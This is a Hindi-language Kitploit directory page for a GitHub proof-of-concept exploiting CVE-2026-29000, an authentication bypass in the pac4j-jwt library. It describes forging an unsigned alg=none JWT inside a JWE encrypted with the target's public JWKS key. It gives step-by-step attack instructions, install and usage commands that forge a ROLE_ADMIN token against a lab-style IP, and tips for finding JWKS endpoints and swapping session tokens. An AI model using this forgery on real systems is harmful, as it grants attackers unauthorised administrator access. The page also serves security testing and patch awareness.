Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/strikoder-premium/cve-2026-29000-pac4j-jwt
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubstrikoder-premium/cve-2026-29000-pac4j-jwt

CVE-2026-29000-pac4j-jwt

CVE-2026-29000 PoC: pac4j-jwt में PlainJWT-in-JWE प्रमाणीकरण बाईपास।

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
3114 महीने पहलेअभी तक समीक्षित नहीं

pac4j-jwe-forge (CVE-2026-29000)

CVE-2026-29000 के लिए प्रूफ-ऑफ-कॉन्सेप्ट। pac4j-jwt के 4.5.9, 5.7.9, और 6.3.3 से पहले के संस्करणों को लक्षित करता है।

यह भेद्यता सीधी है: लाइब्रेरी एक PlainJWT (अहस्ताक्षरित, alg=none) को तब तक स्वीकार करती है जब तक वह एक मान्य JWE के अंदर लपेटा गया हो। चूंकि सर्वर अपनी RSA सार्वजनिक कुंजी JWKS एंडपॉइंट के माध्यम से उजागर करता है, कोई भी व्यक्ति एक मनमाना अहस्ताक्षरित JWT को JWE में एन्क्रिप्ट कर सकता है जिस पर सर्वर भरोसा करेगा — जिसमें ROLE_ADMIN वाला भी शामिल है।


यह कैसे काम करता है

  1. लक्ष्य के JWKS एंडपॉइंट से RSA सार्वजनिक कुंजी प्राप्त करें
  2. अपनी पसंद के दावों के साथ एक अहस्ताक्षरित JWT (alg=none) बनाएं
  3. इसे सर्वर की सार्वजनिक कुंजी से एन्क्रिप्ट करें
  4. परिणामी JWE को Bearer टोकन के रूप में भेजें

सर्वर इसे डिक्रिप्ट करता है, अंदर के दावों पर भरोसा करता है, और कभी जांच नहीं करता कि आंतरिक JWT अहस्ताक्षरित है या नहीं।


आवश्यकताएँ

uv के साथ Python 3.13+, या निर्भरताएँ मैन्युअल रूप से इंस्टॉल करें:

root@kitploit:~
pip install jwcrypto requests

उपयोग

root@kitploit:~
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]

अनिवार्य:

flagविवरण
--urlलक्ष्य का आधार URL, जैसे http://10.10.11.x:8080
--jwksJWKS एंडपॉइंट का पथ या पूर्ण URL

वैकल्पिक:

उदाहरण:

root@kitploit:~
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks

python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN

python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM

JWKS एंडपॉइंट ढूँढना

हमेशा स्पष्ट नहीं होता। देखने के लिए अच्छे स्थान:

  • /robots.txt — अक्सर प्रतिबंधित या आंतरिक पथ सूचीबद्ध करता है
  • /api/auth/jwks
  • /.well-known/jwks.json
  • /.well-known/openid-configuration

सही alg/enc ढूँढना

यदि टोकन अस्वीकार कर दिया जाता है, तो ऐप किसी विशिष्ट एन्क्रिप्शन एल्गोरिदम की अपेक्षा कर सकता है। /static/js/app.js में कुछ इस तरह जाँचें:

root@kitploit:~
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";

फिर --enc A128GCM के साथ फिर से चलाएँ।

टोकन संग्रहण विधि भी आमतौर पर वहीं होती है:

root@kitploit:~
class TokenManager {
    static getToken() {
        return sessionStorage.getItem('auth_token');
    }
}

यदि यह sessionStorage है, तो DevTools में Application > Session Storage के अंतर्गत टोकन को सीधे बदलें।


प्रभावित संस्करण

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

4.5.9, 5.7.9, और 6.3.3 में ठीक किया गया।

टूल डाउनलोड करें
flagडिफ़ॉल्टविवरण
--useradminsub दावे के लिए मान
--roleROLE_ADMINजाली बनाने के लिए भूमिका (ROLE_ADMIN, ROLE_MANAGER, ROLE_USER)
--issuerprincipal-platformiss दावे के लिए मान
--encA256GCMJWE सामग्री एन्क्रिप्शन (A256GCM या A128GCM)